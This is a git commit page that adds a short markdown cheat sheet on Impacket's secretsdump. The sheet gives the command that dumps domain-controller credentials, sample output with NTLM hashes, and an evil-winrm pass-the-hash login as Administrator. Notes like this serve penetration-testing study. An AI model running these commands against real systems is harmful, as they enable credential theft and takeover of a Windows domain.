whx
/
killchain-compendium
1
0
Fork 0
Code Issues Pull Requests Projects Releases Wiki Activity

bump

This commit is contained in:
Stefan Etringer 2021-08-28 00:13:16 +02:00
parent 58c2bf7ddd
commit 04cdaf34ca
1 changed files with 23 additions and 0 deletions
Show Stats Download Patch File Download Diff File Expand all files Collapse all files

23
post_exploitation/docs/secretsdump.md Normal file
View File

@ -0,0 +1,23 @@
# Secretsdump
Mimikatz for the network!
* Part of Impacket
## Usage
* IP and domain controller name only.
```sh
secretsdump.py -just-dc -no-pass <dc-name>\$@<dc-ip>
```
* Dumped domain credentials are the result. Example:
```sh
Administrator:500:aad3b435b51404eeaad3b435b51404ee:3f3ef89114fb063e3d7fc23c20f65568:::
Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
krbtgt:502:aad3b435b51404eeaad3b435b51404ee:2179ebfa86eb0e3cbab2bd58f2c946f5:::
```
* NTLM hashes of this dump can be used to feed `evil-winrm`. Example from above as Administrator + Hash
```sh
evil-winrm.rb -i 10.10.15.3 -u Administrator -H 3f3ef89114fb063e3d7fc23c20f65568
```